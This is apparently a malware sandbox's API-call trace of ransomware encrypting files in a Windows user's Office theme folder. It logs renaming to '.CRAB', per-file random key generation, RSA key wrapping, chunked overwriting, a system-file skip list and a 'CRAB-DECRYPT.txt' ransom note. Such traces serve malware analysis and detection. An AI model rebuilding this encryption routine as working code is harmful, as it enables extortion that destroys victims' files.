	[0117.386] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.387] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB") returned 136
	[0117.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001114[[fn=gallery]].thmx")) returned 0x20
	[0117.387] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx", dwFileAttributes=0x20) returned 1
	[0117.388] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001114[[fn=gallery]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001114[[fn=gallery]].thmx.crab")) returned 1
	[0117.389] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0117.389] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB"
	[0117.389] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB.CRAB"
	[0117.389] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e738) returned 1
	[0117.390] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.390] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.390] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0117.390] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0117.390] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.391] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0117.391] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.391] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.392] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.392] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0117.392] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.392] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.392] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0117.392] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0117.393] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0117.393] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda45a0) returned 1
	[0117.393] CryptGetKeyParam (in: hKey=0xda45a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.393] CryptEncrypt (in: hKey=0xda45a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0117.394] GetLastError () returned 0x0
	[0117.394] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0117.394] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0117.394] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4820) returned 1
	[0117.394] CryptGetKeyParam (in: hKey=0xda4820, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.394] CryptEncrypt (in: hKey=0xda4820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0117.395] GetLastError () returned 0x0
	[0117.395] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.395] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001114[[fn=gallery]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0117.395] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0117.395] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0117.396] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0117.439] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0117.456] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0117.480] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.484] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.484] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0117.486] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.491] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xa79d, lpOverlapped=0x0) returned 1
	[0117.497] VirtualAlloc (lpAddress=0x0, dwSize=0xa7a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0117.498] VirtualAlloc (lpAddress=0x0, dwSize=0xa7a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0117.499] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.500] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffff5863, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.500] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0xa7a0, lpOverlapped=0x0) returned 1
	[0117.500] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.501] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.505] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.505] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.505] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0117.505] CloseHandle (hObject=0x3fc) returned 1
	[0117.525] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.525] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.525] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.526] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.526] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.526] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.526] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0117.526] lstrcmpW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2=".") returned 1
	[0117.526] lstrcmpW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="..") returned 1
	[0117.527] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001115[[fn=Parcel]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx"
	[0117.527] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.527] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130
	[0117.527] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130
	[0117.527] lstrlenW (lpString=".thmx") returned 5
	[0117.527] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.527] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0117.527] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.528] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130
	[0117.528] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="desktop.ini") returned 1
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="autorun.inf") returned 1
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="ntuser.dat") returned 1
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="iconcache.db") returned 1
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="bootsect.bak") returned 1
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="boot.ini") returned 1
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="ntuser.dat.log") returned 1
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="thumbs.db") returned 1
	[0117.528] lstrcmpiW (lpString1="TM10001115[[fn=Parcel]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0117.528] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.528] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB") returned 135
	[0117.528] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001115[[fn=parcel]].thmx")) returned 0x20
	[0117.529] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx", dwFileAttributes=0x20) returned 1
	[0117.530] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001115[[fn=parcel]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001115[[fn=parcel]].thmx.crab")) returned 1
	[0117.530] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0117.531] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB"
	[0117.531] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB.CRAB"
	[0117.531] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0117.531] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.532] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.532] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.532] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0117.532] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.532] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.532] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0117.533] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0117.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0117.533] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0117.533] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0117.533] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.533] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.534] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0117.534] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0117.534] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0117.535] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4560) returned 1
	[0117.535] CryptGetKeyParam (in: hKey=0xda4560, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.535] CryptEncrypt (in: hKey=0xda4560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0117.535] GetLastError () returned 0x0
	[0117.535] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0117.535] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0117.536] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda45e0) returned 1
	[0117.536] CryptGetKeyParam (in: hKey=0xda45e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0117.536] CryptEncrypt (in: hKey=0xda45e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0117.536] GetLastError () returned 0x0
	[0117.536] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0117.536] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001115[[fn=parcel]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0117.537] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0117.537] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0117.538] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x9477a, lpOverlapped=0x0) returned 1
	[0117.585] VirtualAlloc (lpAddress=0x0, dwSize=0x94780, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0117.595] VirtualAlloc (lpAddress=0x0, dwSize=0x94780, flAllocationType=0x3000, flProtect=0x4) returned 0x3400000
	[0117.610] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.612] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff6b886, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.613] WriteFile (in: hFile=0x3fc, lpBuffer=0x3400000*, nNumberOfBytesToWrite=0x94780, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3400000*, lpNumberOfBytesWritten=0x3147f1c*=0x94780, lpOverlapped=0x0) returned 1
	[0117.614] VirtualFree (lpAddress=0x3400000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.617] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.621] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.621] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.621] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0117.621] CloseHandle (hObject=0x3fc) returned 1
	[0117.631] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.632] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.632] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.632] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.632] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.633] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.633] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0
	[0117.633] FindClose (in: hFindFile=0xda3e20 | out: hFindFile=0xda3e20) returned 1
	[0117.633] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0117.633] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0117.633] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0117.633] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\CRAB-DECRYPT.txt"
	[0117.633] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.634] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\CRAB-DECRYPT.txt") returned 113
	[0117.653] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\CRAB-DECRYPT.txt") returned 113
	[0117.654] lstrlenW (lpString=".txt") returned 4
	[0117.654] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.654] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0117.654] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.654] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\CRAB-DECRYPT.txt") returned 113
